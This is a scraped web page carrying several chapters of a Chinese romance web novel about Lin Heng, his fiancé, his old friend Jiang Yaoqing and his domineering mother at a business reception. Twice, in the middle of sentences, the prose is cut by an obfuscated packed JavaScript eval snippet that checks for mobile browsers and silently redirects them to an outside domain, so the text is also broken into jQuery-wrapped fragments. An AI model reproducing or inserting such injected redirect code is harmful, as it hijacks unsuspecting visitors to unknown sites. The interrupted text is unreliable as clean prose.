$(''#content'').append('' 还是你争气,事业蒸蒸日上,谈婚论嫁也没落下,真是比我家那两个小子强多了……” 闻如峰谦和地笑了笑:“程叔又来打趣我了,秋言大哥优秀得很,是同龄人里最拔尖的,秋意也是,读书期间就自食其力了……” 林衡微微一怔。 他口中的秋意是谁?程秋意?阿程? 这位程总,难道是他的好友阿程的父亲? “嗨,可别提了……那两个小家伙没一个省心的,秋言到现在都没个男女朋友,一头扎进工作里,秋意就更别提了,只想着搞科研攒实习拿奖金,连家都不回,今天倒是来参加活动了,却是陪朋友来的,我这个当爸爸的真是一点面子都没有啊……” 阿程来了? 林衡有些错愕,漆黑的眼珠挪动着,四下搜寻着好友的身影。 身边的两人继续寒暄着:“不聊我家那两个添堵的了……如峰啊,我什么时候能喝上你的喜酒啊?” 闻如峰没正面回答,巧妙地四两拨千斤:“您着急啦?我就知道在这些叔叔伯伯里,属您最疼我了……今天难得有机会见下秋意,他在哪里?我们去打个招呼?” “在香槟塔附近吧?和他朋友在一块,据说是德通集团的董事,年纪轻轻,不简单啊……” “找到了。” 林衡忽然出声了。 他的视线落在半岛状的甜品台右侧,那里停着一双身影,一人身着米色西装,站姿挺拔,脸孔侧对着远处的三人,偶尔用银叉将红丝绒蛋糕送到唇边,低头时灯光扑在脸上,更显出面部干净瘦削的轮廓。 真的是程秋意。 而与他低声交谈的另一人,则松弛得多,身着暗色条纹西装,外套扣子敞开,一手向后扶在案上,一手持杯轻晃,领带夹滚边的银光一闪而过。 当目光凝在那人俊美的面容上时,林衡倏然一惊,分明隔着喧哗的宾客,可他视野中的每个像素点都锐利得可怕,甚至令他有些惶恐。 是江耀清。 程总热情地招呼如峰二人,“走,我们去见见秋意。” 林衡跟着未婚夫的步伐,机械地向前。随着距离逐渐缩短,那两人聊天的模样愈发清晰,一人细碎地说着,一人凑在一旁倾听。 并肩而立的两人,相隔不过一拳的距离。 林衡的心忽然蒙了淡淡的阴翳。 “秋意,来来来,介绍一下……” 在父亲嘹亮的吆喝声里,程秋意抬起头来。 下一秒钟,他微微发怔,随手放下了瓷碟,银叉发出轻轻的滚动声。 他目不转睛地盯了会儿林衡,接着扫了眼闻如峰,视线跌落在两人若即若离的手臂上。 “闻总好,小衡好。” 他冲闻如峰点了下头,眼瞳却始终紧追着林衡,用目光一遍又一遍地追问着: ——这是你男朋友?你竟然交了男朋友? 程秋意着实诧异,一向喜怒不形于色的他,连眉梢都要压不住了。 林衡无奈地提了下唇角,不着痕迹地碰了下闻如峰的手臂,算是承认了。 接着他的目光向左侧一滑,下颌微不可察地偏了偏,向阿程身边那人点了点。 ——你和江耀清,是什么关系? 7. 相片盒 程秋意的嘴唇稍稍分开,还未等暗示什么,便被父亲爽朗的笑声打断了: “秋意,你这位朋友,不给爸爸介绍下?” 程总掺银的鬓发在灯下闪着光,他的脸上堆满了慈爱的笑容,看向耀清的眼神简直像在看女婿,越瞧越满意,越看越欣赏。 一时间,所有人的目光都投向了江耀清。 他高挑、俊美、气质绝佳,哪怕只是随意地靠在角落,也能轻松地成为视线焦点,似乎在生活的舞台中央,有一束追光独独照亮了他。 江耀清浅色的眼珠迟迟地动了下。 叮的一声,他在大理石台面上搁下香槟杯,身体前倾,收回了小臂,慵懒地将脊背挺直了。 他稍稍理了下前襟,无名指和小指略微扫动两下:“程总好,我叫江耀清,在德通集团任职。” 他与程老爷子礼貌地对视着,语气慢条斯理:“我常驻海外,和客户也好、和阿程也罢,都难得见面。刚巧今晚借闻总的酒会,和客户碰个面,和朋友叙叙旧。” 朋友啊…… 在场的人都觉得这个称呼意味深长。 朋友那么多,为什么单单邀请程秋意陪同呢? 程总悄悄向儿子使了个眼色,见秋意垂着眼帘,默认一般,便以闲聊的语气打探着:“小江总这是考虑回国发展、成家立业了?” “成家立业”四个字,被微微拖长了。 江耀清颔首:“嗯,有此打算。” 闻如峰也跟着打趣道:“想来江总已经有心仪的对象了?” 江耀清定定地看他两秒,扬了扬唇角。 他两指叩了叩西装马甲排扣,因着这番动作,众人才发觉他佩戴了长链,银色的吊坠被藏在马甲下,隐隐能看出一枚椭圆的形状。 “是啊,异国这么久,我一直戴着他的相片。” 林衡悬垂在身侧的手指忽地曲张了下。 周遭的惊叹声涟漪般一朵朵弹开:“江总真是长情啊,如今修成正果,恭喜恭喜啊……” “江总回国后打算在银城布局业务?听说德通药业在和A大谈合作,打算共建实验室……” “都是做生物药的同行,可以多交流交流嘛,江总,这是我的名片……” 宾客们揣着各自的目的,很快便从风月聊回了生意,频频推杯换盏,气氛越来越热络。 一分钟不到,甜品台边便聚起人潮,就像飞蛾涌向最亮的光源。嘈杂的恭维、模糊的面孔、纷乱的酒香,如同曲折的围篱,在林衡与阿程间划下无形的障壁。 看不清眼色,辨不出口型,他们在咫尺之遥失联了,在声色的漩涡里各自下沉。 闻如峰眼观六路、耳听八方,在最热闹的当口,他使了个眼色,打发助理去会场另一侧寻人。 等小唐折返后,闻总冲众人摆了摆手:“容我占用诸位一点时间,向大家隆重地介绍下……” 人群渐渐地静了,脸孔齐刷刷地面向一位身着墨绿套裙的女士。 女士年纪不轻,眼角有些笑纹,她有双漂亮的杏眼和一对英姿勃勃的弯眉,笑起来优雅自信,容光熠熠,连耀目的钻饰都为之失色。 而她左侧的丈夫,虽称得上俊美儒雅,但站在妻子身旁,气场却灰蒙蒙的,仿佛□□练的另一半吸走了全部的热量。 飒爽的社交明星和她的陪衬人,不费吹灰之力地引起了震荡。有人目眩神迷,抻长了脖颈探看,有人比着手势,问询着女人的身份,也有人霍然一怔,同身边人窃窃私语: “是林不默和她的丈夫……” 闻如峰笑得愈发得意,这是今晚最有面子的一刻。 他按捺着喷薄而出的虚荣心,尽量以谦和低调的口吻介绍着二位,像一只孔雀遮遮掩掩地开屏。 银城老牌豪门的掌舵人林不默,成了暴发户商业酒会的座上宾,这是在给他抬身份,更是在给闻家人镀金。 某些宾客意味深长地交换着眼神,看来闻家是找到挤进上流圈的门路了。 现下他们总算弄清了这场酒会的目的,原来闻如峰是故意把大客户和投资人召集起来,向所有人秀肌肉呢。 在暗潮汹涌的氛围里,林衡心不在焉,未婚夫滔滔不绝的溢美之词让他有些抽离。 他太久没以林家人的身份出门应酬,几乎忘却了站在家族光环下的滋味。扮演一座玻璃展柜里的奖杯,是他应尽的职责,毕竟这是他在婚姻牌桌上为数不多的价值之一。 “……来,大家敬林女士和她先生一杯。” “好!” “来,一起举杯!” 当林衡麻木地举杯时,他的母亲林不默眼珠向右略转,向他递了个眼神。 林衡明白她的暗示,却没有听话地挪到她身旁,反倒是向左撤了半步,仿佛喝完这杯酒,就要拔步离开他们的圈子似的。 林不默的眉梢陡然下压,眼看着脸色就要垮下来,却被丈夫轻轻碰了下手肘。 她飞速收回目光,在无数张面具似的笑脸前,她暂且息事宁人。 可就在下一秒钟,她蓦地捕捉到一张陌生又熟稔的面孔。 那个身穿暗色条纹西装的年轻人,他是…… 林不默的眼皮突地跳了下,心里的火气猝不及防地蹿高,作为母亲的她气得脑中噼啪作响,戒备地咬紧了牙根。 是那个拖累小衡的灾星,江耀清。 “干杯!” “干!” 众人纷纷仰头,将杯中的香槟一饮而尽。 隔着海浪般起伏的玻璃反光,江耀清向林不默略微示意,浅浅抿了口流金似的酒液。 像知道自己碍眼一般,他撂下空杯,抽身离开,礼貌地回绝了搭话的宾客,一眨眼便消失在觥筹交错的酒色场中。 * “那个江耀清到底是怎么回事?” 在酒会接近尾声时,林不默将儿子堵在一处偏僻的露台里,有密匝匝的树荫做篱笆,她的音量便不加控制地拔高了:“他什么时候回国的?今晚是你请他来的?” “妈。” 林衡忍不住叹气,慢声解释着:“他是德通的董事,是万峰药业的大客户,是被如峰邀请来的。” “你和他见过吧?看你一脸淡定的模样,今晚你们不是头一回见吧?” “去医院体检时偶遇了,打了个招呼,没别的了。” “偶遇?银城这么大,医院这么多,是随便就能偶遇的吗?他是有备而来,是故意接近你!七年前他被关进矿区四院的事,他一定记在你头上了!你立刻让如峰给你安排保镖……” “妈,不至于这样……” “怎么不至于?他没父亲,母亲精神有毛病,性格孤僻乖张,住我们家的时候还要你教他学规矩。你待他像亲兄弟一样,结果反被利用,和他这种人搅合在一起注定会倒大霉……” “好了!” 林衡脸色煞白,忍不住打断道:“耀清做错了什么?他母亲精神失常,难道该怪罪他吗?我待他像亲弟弟一样,他不也对我像亲哥一样吗?他被关进矿区第四医院,难道他不是受害者吗?骗他去的人是我,难道我……” “我说过多少遍了!你是被卷进去的无辜者!我叫你远离江耀清这个灾星有错吗?难道妈妈能害你吗?你就为了这种人一再伤我的心吗?” 又来了,林衡被逼得手抖,他勉强吞咽了下,强压着火气道:“一定要在外面吵架?今晚是我第一次陪如峰出席酒会,一定要因为那些陈芝麻烂谷子,拉着我教训一顿吗?” “不然呢?难道要回家再吵吗?你多久没回家看我了,你自己记得吗?” 林不默发泄着积压已久的怒火:“你觉得我不可理喻?觉得我的管教让你窒息?你难道不知道我为什么会这样吗?如果你哥没死在外面,我会这么担惊受怕吗?” 听到她提起去世的哥哥,林衡突然没力气应付了。 他靠在外墙上,蹙起眉头,屈起指节揉了两下。 他疲惫地想着,如果不是你那样苛刻地体罚哥哥,他又怎么会离家出走,怎么会被人骗去赌博,怎么会枉送了性命? 但他没开口,他不愿意用这桩惨剧来惩罚彼此了。 他不说话,母亲也不说话,怒气消颓后,这个美丽自信的女强人罕见地有些虚弱,她向前俯在露台栏杆上,从银色的手包里摸出烟盒,磕出一支点燃了。 她的面庞不再紧致了,身后打来的黯淡白光幽幽照下,她的眉心和唇颊显出无处遁形的深痕,指间缭绕的灰雾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396616|184304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐徐攀升,愈发衬得她憔悴沧桑。 “听妈妈的话,离江耀清远远的,别让他害了你。” 她的声音略微嘶哑。 林衡拧着眉毛,只想息事宁人:“我尽量。他是如峰的大客户,要面子上过得去才行。” 林不默脸一沉,将唇间的烟雾一股脑地吐了出去:“他知道你们的关系?让你去打感情牌了?” 林衡飞快地琢磨了下,决定保持沉默。 他的妈妈果然冷笑起来,咬着烟蒂,含混道:“如峰倒是会使唤人啊……今天这场酒会,他一直没公开承认你是他未婚妻吧?” 明明两家已经订婚,子女也正在同居,闻大少爷却在外人面前绝口不提,像给自己留退路似的。 毫无疑问,这狠狠地下了林不默的面子,让她心里极不痛快。 她板着脸,食指磕了磕烟卷,含着火星的灰烬摔在栏杆上。 不公开关系也就罢了,低调行事也未尝不可。 但方才在酒会上,闻如峰可是将林氏夫妇当作谈资,大张旗鼓地炫耀了一番。 一点责任都不想沾,却又一丝好处都不放过,莫非他是想将林家盘剥干净,再片叶不沾身的离开吗? 真是一点都不体面啊。 林不默面色不虞:“今晚的事,你回去找他谈谈,委婉点。这桩婚事两家是互惠互利的,不是我们林家上赶着求来的,要是下次还这么不尊重人……” “不默……” 身后传来了一声呼唤。 她的丈夫张源单手推开了露台的玻璃门,隔着黑黢黢的蓊郁枝叶,向母子二人举了下晶莹的空杯。 “快散场了,去和各位打个招呼。” 在丈夫温和的注视下,林不默熄了烟,单手扣严了手包,在细跟鞋的哒哒声里目不斜视地离开了。 张源笑了笑,体贴地为妻子撑开门。 等那阵墨绿的香风掠过后,他迈进了僻静的露台,语带关切地和亲儿子闲聊:“小衡,体检情况怎么样?挺健康吧?” 林衡的气消了大半:“嗯,没什么问题。” 父亲的眼神有些感慨,欣慰地点点头:“好孩子,懂事了……” 很明显,他从林衡故作平淡的语气中猜到了,儿子的身体状况没这么简单,只是不愿给父亲徒增烦恼罢了。 紧接着他话锋一转:“你长大了,马上就要成家了,你们未婚夫妻相处的琐事,没必要原封不动的讲给妈妈听……” 林衡一愣,下意识地看了父亲一眼。 没想到自己的盘算被人看穿了。 最近他和如峰相处太累,拿不准两人能否走到最后,便拣了最能刺激母亲神经的话题,提前给她打打预防针。 若是真走到退婚这一步,也不至于引起轩然大波。 张源捏起粘着妻子唇印的烟蒂,心平气和地掷进垃圾桶:“你妈妈的气话,听一听就好,别去找如峰对峙,都是些小事,一家人不必这么计较……” 露台圆拱的阴影落在张源的脸上,他的眼神或表情都模糊在黑暗中,嘴唇慢悠悠地开合时,仿佛将夜色吹开了一角。 “成熟点,小衡,退一步海阔天空。要是你的婚事被搅黄了,所有人都会后悔的……” 说罢,他慈和地笑笑,拍了拍儿子的肩,去找妻子了。 林衡目送着父亲的背影,一动不动,他觉得哪里古怪,却又说不出异样感的来源。 不对…… 父亲怎么会知道他昨天去体检了? 林衡眼神忽变,脑中迅速过了下昨天的遭遇,电光石火间,他突然回想起了…… 他的心脏发出咯噔一声。 这种滋味他好久没体会过了,他的血液似乎在慢慢的冷下去。 咚、咚、咚—— 露台的玻璃门忽然被轻叩三声。 一身米色西装的程秋意,大步流星地推门而出,门扉在背后迟缓地合拢,明月的倒影在玻璃上颠簸荡漾。 他满身酒意,急匆匆地迈进枝丫的暗影下,将好友堵在角落。露台莹白的栏杆将他们围抱,像茫茫大海中迎风破浪的船头。 “小衡。” 他吐字急促,眉头严肃地皱起:“你和闻如峰订婚了?” 8. 不快乐 “你认识闻如峰多久了?什么时候确定关系的?” “你们怎么认识的?朋友介绍?家里相亲?社交软件?” “你了解他过往的感情经历吗?你们有共同的兴趣爱好吗?对未来的规划一致吗?” “他会尊重你摆脱原生家庭的决定,而不是摧毁你七年以来的努力吗?” 清寒的秋夜里,惜字如金的阿程,咄咄逼人地寻根究底。 在一句快过一句的追问里,满庭草木婆娑不止,身不由己地摇荡着,在疾风的摧折下沙沙哀鸣。 草木也好,世人也罢,没有谁心甘情愿地折腰。 各有各的苦衷罢了。 林衡静了一会儿,清凌凌的月影下,他的轮廓仿佛在滴水:“我和你……说过我哥哥的事吗?” 林衡背过身去,手腕搭在栏杆上,疲惫地叹了一声。 “他叫林彻,是妈妈和前夫生的孩子,如果还在世的话,今年应该二十九岁了。” “他聪明、桀骜、急性子,和妈妈简直是一个模子里刻出来的。妈妈对他的管教游走在两个极端,要么忙得半个月都不理他,要么对他施展铁腕、呼来喝去、打骂体罚……” “至于我的父亲,他从不会对叛逆的继子多说什么,总是笑呵呵的。哪怕家里吵得沸反盈天,也慈和地陪我读书,带我出去玩,给我过生日……” “不出意外地,哥哥高考落榜了,母亲怒不可遏,将他赶回前夫那边了。那时她的生意蒸蒸日上,每年打给林彻大额生活费,随他干什么,只希望他别在自己眼前晃荡。” “人一旦手头宽裕了,用不着他主动学坏,就会有居心叵测的臭虫蜂拥而上。” “在他二十二岁那年,他被狐朋狗友设套,被骗去赌博,染上赌瘾,一年后欠下天文数字的债务,彻底人间蒸发了。半个月后,他的死讯出现在电视新闻里,在盘山公路的悬崖外,发现了一辆报废的汽车和一具尸体……” 林衡顿了顿,他恍惚一阵,继续道:“哥哥去世后,他的债务,我们没义务偿还,但他的债主之一,是银城势力最大的黑.帮,甚至还牵扯到银城上流圈的另一老牌豪门。” “妈妈不想闹得人尽皆知,更不想拼得鱼死网破,最终双方协商,重新划定债务金额,控制在能清偿的范围内。” “自此之后,我们一家便多了笔债务,本来靠妈妈的收入三年内能还清,但就在去年年初,她的公司现金流断档,客户欠她六十多亿的回款……贷款和融资都试过了,还是填不上窟窿……” 林衡没有继续说下去。 留白亦是有声的,他的沉默昭示了一切。 程秋意沉沉叹息:“所以你才努力负担自己的生活……” 控制欲极强的母亲,自扫门前雪的父亲,负债横死的哥哥…… 能自立自强,过上平淡踏实的生活,林衡便已经知足。 可惜为了帮家里还债,他被迫与闻如峰订婚,不得不将自己的后半生称重出售。 “你家的债务,究竟还剩多少?方便透露吗……” 林衡别过脸去,向天空的尽头眺望着,昏黑的地平线上,是起伏的松林、锯齿状的灯火、和墨絮般的云团。 “哥哥的赌债,剩下的其实不算多……四千多万,市中心两套房的价格。” “但你母亲的公司经营困难,所以暂时没钱偿还?” “嗯,没错,但也不完全是这样……” 林衡渐渐没了声音。 “风好大。” 他忽然道。 这座庄园面朝广袤的山林,暗色的风自原野奔袭而来,携来万里之外的呼啸声,拂过他的面容和鬓发,与他纤细的身躯猛烈地相拥。 那一瞬间,他感觉自己和人世的联系很浅,仿佛轻轻扯动,他便是再无拘束的风筝,能自由地升入青空,脚下皆是蚁穴般无足轻重的光点。 摆脱束缚、自在高飞的方法一直都在,只是他不忍心家人重重跌落。 “你有解决的办法。” 阿程的语气是笃定的。 他和林衡相识五年,彼此再熟稔不过。他很清楚林衡的秉性,看上去文弱谦和、易于哄骗,其实每件事都算得清清楚楚,入局之前便做好了最坏的打算。 阿程左手抛上抛下,带起金属链条碰撞的细声:“直觉告诉我,闻如峰虚荣、强势、大男子主义,你真的做好了接纳的打算吗?” “放心,我有分寸,不会无底线的包容。” 林衡被他掌心里的吊饰吸引了注意力:“这是什么?你的项链?” “不是我的。” 程秋意语气淡淡,漫不经心地摊开手:“是耀清佩戴的相片盒,搭扣太旧,被拽得松脱了。” 林衡定睛一看,精致的挂坠盒呈橄榄型,外层是镂空掐丝的放射状花纹,四周是晨星般的碎钻,中央镶嵌着矢车菊蓝宝石。 他的心跳忽地一滞,匆匆收回了视线。 想必是相当激烈地亲密了一番,才将银链拽断的…… 异国的情侣久别重逢,自然会热情非凡。 “如果你需要钱,我说真的,小衡,别客气。” 程秋意严肃地盯着他:“我和陶青,都能帮你想办法。咱们三个认识五年了,一直是报团取暖过来的。如果这桩婚约正在蚕食你的独立性,我会无条件地支持你快刀斩乱麻。” “嗯,我明白。” 林衡笑容暖暖的,他拍了拍好友的肩,心里似乎有块石头落地了。 挺好的。 阿程人很好,耀清人也好,两个人在一起,就是双倍的好。 能自由热烈的相恋,真的很好,只是他还需要一点点时间,才能将心底的祝福落落大方地说出口。 嗡、嗡、嗡—— 林衡的手机突然震动起来。 “喂,小衡……” 是闻如峰的来电:“去一楼后门,单独送一送江总。” 想必这便是为他创造的机会了。 “好。” 林衡挂断通话:“阿程,我们一起……” “等等……” 程秋意拧起眉,乌湛湛的瞳仁紧盯着玻璃门,忍不住啧了声:“我家那个老头子喝多了,踉踉跄跄的,我先去照顾他了。” 程秋意拔步前行,他脚下生风,穿过森黑的树篱时,左手向后一抛,一道银灿灿的弧线从空中疾速划过。 林衡下意识地伸手一接,一枚沉甸甸、凉冰冰的物什坠进了掌心,像是一颗小小的流星。 是银色的相片盒吊坠。 “把它带给耀清。” 没等林衡回应,程秋意便如银鱼般游回了喧闹的会场,徒留厚重的门扉和鹤望兰的叶片在空气中震荡。 林衡微微怔忡,他的掌心仍是平摊着,从手腕到小臂都有些发麻。 这是两人的私物,被耀清贴身佩戴了好几年,吊坠里藏着阿程的相片。 他一介外人,别说是代为转交,就连触碰一下都…… 林衡的两颊隐隐发热,他如针扎似火烤,遭受着良心无声的非难。 一定要赶快归还。 * “耀清……” 凄寒萧索的秋风里,传来一线低低的呼唤声。 在桂树下等候司机的江耀清怔了一瞬,他回过身来,只见洋楼凝黑的阴影下,走出一位挺拔纤瘦的年轻人,从铺满月色的长阶拾级而下。 俊秀的轮廓,玉白的肤色,澄净的眼瞳。 一身银灰西装的林衡停在面前,两人的鞋尖隔着青草两两相望,是跨过半步便能相抵的距离。 江耀清的目光落在林衡手中的一抹暗红上。 那是一方小巧的绸布袋,柔软地躺在掌心里,淡银的细绳缠在颀长的手指上。 江耀清盯着丝绸上的深色绣纹,曲曲折折,围成圆润端正的双喜字。 “这里是你的吊坠盒,阿程托我还给你。” 林衡递了出去,低声解释着:“我怕其他配件会松脱,便找前台要了首饰袋。首饰袋没有,只有别人婚宴剩下的喜糖袋子……” 搬出这段预备好的谎言时,林衡不禁有些赧然,始终垂着眼睛。 他心里不太平,攥着吊坠的手心一阵阵地泌汗,便只能用细布将指印全部擦去,再将项链装进绸布袋里。 在别人的私密物品上留下信息素,实在是不太妥当。 江耀清浓密的眼睫扇了下,轻声道:“还以为这是你和闻总的喜糖。” 林衡怔怔地抬眼,刹那间,手中忽然分量一轻。 绸袋被人取走了,掌心里残余着指腹轻碰的触感。 像桂花跌入湖水似的。 耀清的两指挑着淡银的抽绳,绸袋上的暗红喜字随着动作一晃一晃:“订婚恭喜了。” 一声贺喜,听得林衡舌根苦岑岑的。 “和未婚夫相守的每一天,都有不同的快乐吧?” ——不快乐。 ——与闻如峰相处的时光里,林衡几乎忘了什么是快乐。 林衡只是笑笑,温和地回应:“等你订了婚,也一定会快乐的。” 他庆幸这是夜晚,黯淡的银辉,像一层朦胧的面纱,隐匿了彼此真实的表情。 江耀清或许笑了下,唇角似提非提,他看不清。 “嗯,我很期待。” 林衡挪开视线:“未来你们会定居在银城吗?” “应该会。这里是他的家,我愿意留下来陪他。” 林衡的左手搭在右手腕上,缓缓摩挲着:“那么我昨天的提议,不知道你能不能考虑下……” 昨天下午,他在医院旋转门前向江耀清致歉,提出用金钱弥补自己造成的伤害。 “你知道我究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396617|184304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟得了什么病吗?” 江耀清拂了拂肩线,零星的桂花向四处散落:“昨天你偷看了我的体检报告,看懂了吗?” “看懂了个大概……你的腺体……” “昨晚回去后,我打电话给舅舅,让他的秘书一笔笔计算我七年来的治疗费用。” 江耀清打断了他的话:“知道我去过多少家医院吗?十一家。问诊的科室包括精神科、脑外科、腺体科、心外科、眼科……缴费发票塞满了三大盒子,病历本摆满了书架的一整层,秘书熬到第二天早上才整理完。” “秘书报给了我一个数字,一个不包括食宿和交通费用的数字。你觉得这个数字重要吗?” 尽管早有准备,但真正面对受害者的坦陈时,林衡的身体仍是不受控制地发颤。 金钱不重要。 和这七年来遭受过的折磨,以及未来将持续纠缠的病痛相比,金钱只是个数字,对于德通集团的董事而言,一点也不重要。 道歉很苍白,金钱也苍白,精神和□□的伤害,是永久的黑洞,活生生血淋淋地长在江耀清的生命里,没办法战胜,甚至会一点点扩散。 林衡的瞳仁忽然起了雾。 他做过关于他的噩梦,很多很多,今晚这场和每一场都雷同,像所有恐惧的结合体,即便耀清的声音很轻柔。 越是低沉轻柔,便越是飞沙走石,雷声隆隆。 像无法承受沉默的重量一般,林衡艰涩地动着嘴唇:“对不起,昨天我欠考虑了,我并不认为金钱足以摆平一切,更没有侮辱你的意思……” 之所以提出一笔清偿,是因为他想彻底消失在耀清的生活里,他怕自己像“瑶池”的恋人那般越轨,他问心有愧。 “一味道歉没有用,金钱赔偿更是毫无诚意。” 江耀清暗暗的眸子直视着林衡,将这道身影囚禁在漆黑的瞳仁里。 苍白的林衡,在无光的水域里挣扎。 “不如设身处地的为我想想,一个腺体残疾、易感期紊乱、罹患PTSD的病人,到底怎样才能走出阴霾,维系如履薄冰的平静生活。” “别用金钱打发自己的良心,回去好好考虑,究竟怎样才是真正地帮助我。” 嘀、嘀—— 一辆纯黑的高级轿车停在路口,刺目的双闪在夜里一亮一亮。 江耀清的司机到了。 “我记住了……” 林衡心里堵得厉害,不良情绪如一颗颗石子,沿着细窄的食道疼痛地下坠。 他知趣地为这番不愉快的对谈画上句点:“可以加下联系方式吗?等我考虑清楚,再联络你……” 林衡划开手机锁屏,怕被耀清拒绝,便忐忑地加了许多理由: “我是银城人,如果以后你要在这里定居,我可以帮到你。医院我也熟,帮你介绍专家也不成问题。我和阿程是好朋友,未来你们结婚的话,我也可以……” 江耀清没有回答。 他信手取过林衡的手机,调出通讯录,拇指无声地按键:“这样更有效率,不介意吧?” “……不介意。” 林衡的心突突地跳。 江耀清按灭了屏幕,递还给他:“我结婚的话,你要做什么?” 林衡霎时便后悔了。 那是他们十六七岁时的玩笑话,某一天午后,他们在阳光浸泡的客厅里看电影,一人靠在沙发里,一人坐在地板上。 电影没什么意思,他只记得有一场温馨的婚礼,在意大利的小镇里举办,当新人在教堂里宣誓时,新郎的父母在台下落泪,看得林衡心里酸酸的。 因为他想到了身边的江耀清。 耀清自小没见过父亲,和母亲关系紧张,唯独有个疼爱他的舅舅,不知道会不会千里迢迢来帮他操办婚事…… 那时候他太年轻,以为十七岁的情谊能维系到永久,便用打趣的口吻同耀清说着:“等你结婚了,我来做你的‘娘家人’,怎么样?” 江耀清正坐在地板上拼航模,闻言一怔:“什么‘娘家人’,我不会分化成Omega……” 林衡没理会他微弱的抗议,从身后轻拍着耀清的头,笑吟吟道:“以后我来给你办婚宴,给你做伴郎。你要是在婆家受委屈了,马上告诉我,我立刻赶过去给你撑腰……” 江耀清不耐地用手肘撞他,林衡笑嘻嘻地拿抱枕一挡,两人打打闹闹,盖过了电影的音量。 再往后的记忆便模糊了,只记得绿植的影子落在薄薄的液晶屏上,随着风忽上忽下。 …… 七年后的林衡掐断了回忆,微微吸了口气。 今时不同往日,他害得耀清易感期紊乱,为那对恋人添了沉重的负累,没人会欢迎他出现在婚礼上。 不速之客该有不速之客的自觉。 林衡露出了苍白的笑容:“我送你上车吧。” 9. 玻璃镜 江耀清的车停在了庭院另一侧。 林衡跟随耀清的脚步,迈出桂树芬芳的暗影,穿越枯黄萎靡的灌木,绕过一片墨色的人工湖。 长风撩动寒澈的湖水,两人的倒影被短暂地揉碎,光斑与光斑在彼此的身体里穿行,让林衡一时微微恍惚。 七年前,他们曾并肩走过太多地方,露天的羽毛球场、积水的公交站、艳阳下的咖啡厅,一起打球、骑车、看书…… 林衡有些怀念,却不敢怀念太多。 今夜能心平气和地同行,他便已经知足。 他们来到车前,黑亮的车门弹开。林衡伸手撑门,耀清没有拒绝。 一切在沉默中运转着,到了该告别的那一刻。 林衡不知该说些什么,车窗的反光很亮,模糊了彼此的表情。 “绸布袋记得收好……” 最终他提醒了一句:“这么重要的信物,别弄丢了。” 耀清大抵在注视着他:“吊坠盒里的人,好看吗?” “什么?” “没看吗?” 江耀清降下车窗,手肘搭在窗沿,袖扣的银边亮晶晶的:“体检报告都偷看了,项链没看过吗?” 林衡微微脸热:“这不一样……” 借着月光,江耀清勾松了喜糖袋的抽绳,两指探了进去,夹出了椭圆的银坠:“来。” 相片盒被送进林衡的手中:“打开吧。” 这是……什么意思…… 林衡不明所以,浑浑噩噩地看向耀清。 江耀清仰着头,正对着高空中的满月,从面孔到衣着,身上的每处褶皱都被点亮了。 直到此刻,林衡才看清,他的衣领有一道项链的勒痕,前襟上有揉出的指印,西服纽扣也软塌塌地垂着头……是和恋人缠绵时留下的痕迹。 一直笼罩林衡的局促感,在这些甜蜜的证据里,忽然消失得无影无踪。 他的心反常地平静下来,脑中回荡着两个字,也好。 亲眼看到耀清恋人的相片,或许能粉碎他的执念,这样也好。 林衡缓缓吐气,凝视着小小的挂件,右手拇指均匀地施力,将这桩珍藏的爱情故事轻轻掰开。 啪—— 他的视线很平稳,没有任何颤抖。 片刻后,他的双眼诧异地睁大了:“这是什……” 橄榄型的相片框里,倒映着夜空的浓黑一角,和霓虹灯昏黄的光晕。 “对着月光,拿近些。” 林衡迷茫地眨眼,将它举到面前。 他看见了被风拨乱的黑发、苍白俊秀的面容、略带错愕的神情。 他的脸孔出现在一片薄薄的玻璃镜里。 “……是镜子?” “在国外这七年里,某些社交场合中,总有些不识趣的人,打探你为什么不带男伴女伴……” 耀清语气闲闲的:“准备一个相片盒,和一段异地爱情故事,能巧妙地解决问题。” 林衡回过魂来,和镜片里的人影四目相对,“所以这是假的?你没有心上人?” 江耀清冲着他笑了笑,伸出手指来,阖上了吊坠的盒盖:“你不是看见了吗?” “该回家了。” 江耀清收回了项链,重新放回喜糖袋里:“晚安。” 车窗徐徐升起了,在引擎低沉的轰鸣声里,纯黑的轿车缓缓驶离庭院,车身融入夜色中,唯有两点尾灯仍然跳跃在视野里。 林衡怔怔地目送着,他转身、提膝、迈步,走在灰扑扑的小径上,鹅卵石一颗挨着一颗,硌着他薄薄的鞋底。 他想不明白,七年未见的耀清,他有恋人吗,他爱阿程吗?吊坠里为什么没有相片?他说他看见了心上人,可他只在镜子里看到了…… 林衡忽地站住了。 他停在一座石桥边,白莹莹的圆拱横跨乌黑的水面,缭乱的芦苇稠密地生长,一眼望去,竟酷似一只卧在夜色里的耳朵,正诡秘地窃听着他的心事,窃听着胸膛里轰隆作响的碰撞声。 咚咚、咚咚、咚咚…… “你不是看见了吗?” 耀清语焉不详的回答,像纯黑背景上的美丽泡沫。 林衡仓皇地回头,像在寻找一丝佐证,什么都没有了,车灯的光斑早已隐没,唯有一轮冷森森的孤月,照耀着浪涛般起伏的黯淡草木。 仿佛一切只是幻象。 这不道德…… 林衡的身躯微微发抖。 他被灌注了不道德的期待,他知道这不道德…… 心绪激烈到极致时,他只感觉头晕想吐。 嗡、嗡、嗡—— 口袋里的手机接二连三地振动起来。 林衡重重地抽气,用僵冷的双手狠狠地揉搓着脸颊。 